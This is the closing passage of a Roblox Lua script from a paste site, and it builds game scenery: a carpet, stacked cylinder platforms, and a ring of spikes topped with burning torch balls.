  4878. Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
  4879. Instance.new("BlockMesh",Carpet)
  4880. end
  4881. local MainCirc = Instance.new("Part",Main)
  4882. MainCirc.FormFactor = "Custom"
  4883. MainCirc.Name = "MainCirc"
  4884. MainCirc.Anchored = true
  4885. MainCirc.Locked = true
  4886. MainCirc.Reflectance = 0
  4887. MainCirc.TopSurface = "Smooth"
  4888. MainCirc.BottomSurface = "Smooth"
  4889. MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
  4890. MainCirc.Size = Vector3.new(20,1,20)
  4891. MainCirc.CFrame = SeccondaryCFrame
  4892. Instance.new("CylinderMesh",MainCirc)
  4893.  
  4894. local SeccondaryCirc = Instance.new("Part",Main)
  4895. SeccondaryCirc.FormFactor = "Custom"
  4896. SeccondaryCirc.Name = "SeccondaryCirc"
  4897. SeccondaryCirc.Anchored = true
  4898. SeccondaryCirc.Locked = true
  4899. SeccondaryCirc.Reflectance = 0
  4900. SeccondaryCirc.TopSurface = "Smooth"
  4901. SeccondaryCirc.BottomSurface = "Smooth"
  4902. SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
  4903. SeccondaryCirc.Size = Vector3.new(18,1,18)
  4904. SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
  4905. Instance.new("CylinderMesh",SeccondaryCirc)
  4906. for i=1,math.floor(360/6) do
  4907. local Spike = Instance.new("Part",Main)
  4908. Spike.FormFactor = "Custom"
  4909. Spike.Name = "Spike"
  4910. Spike.Anchored = true
  4911. Spike.Locked = true
  4912. Spike.Reflectance = 0
  4913. Spike.TopSurface = "Smooth"
  4914. Spike.BottomSurface = "Smooth"
  4915. Spike.BrickColor = BrickColor.new(MainColor)
  4916. Spike.Size = Vector3.new(1,7,1)
  4917. Spike.CFrame = SeccondaryCFrame
  4918. * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
  4919. * CFrame.new(7,-7,0)
  4920. Torch = Instance.new("Part",Main)
  4921. Torch.Reflectance = 1e+999
  4922. Torch.FormFactor = "Custom"
  4923. Torch.Shape = "Ball"
  4924. Torch.Anchored = true
  4925. Torch.Locked = true
  4926. Torch.Size = Vector3.new(2,2,2)
  4927. Torch.CFrame = Spike.CFrame
  4928. * CFrame.new(0,3.5,0)
  4929. * CFrame.Angles(0,0,0)
  4930. Instance.new("Fire",Torch)
  4931. end
  4932. end))
  4933. end
  4934. )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement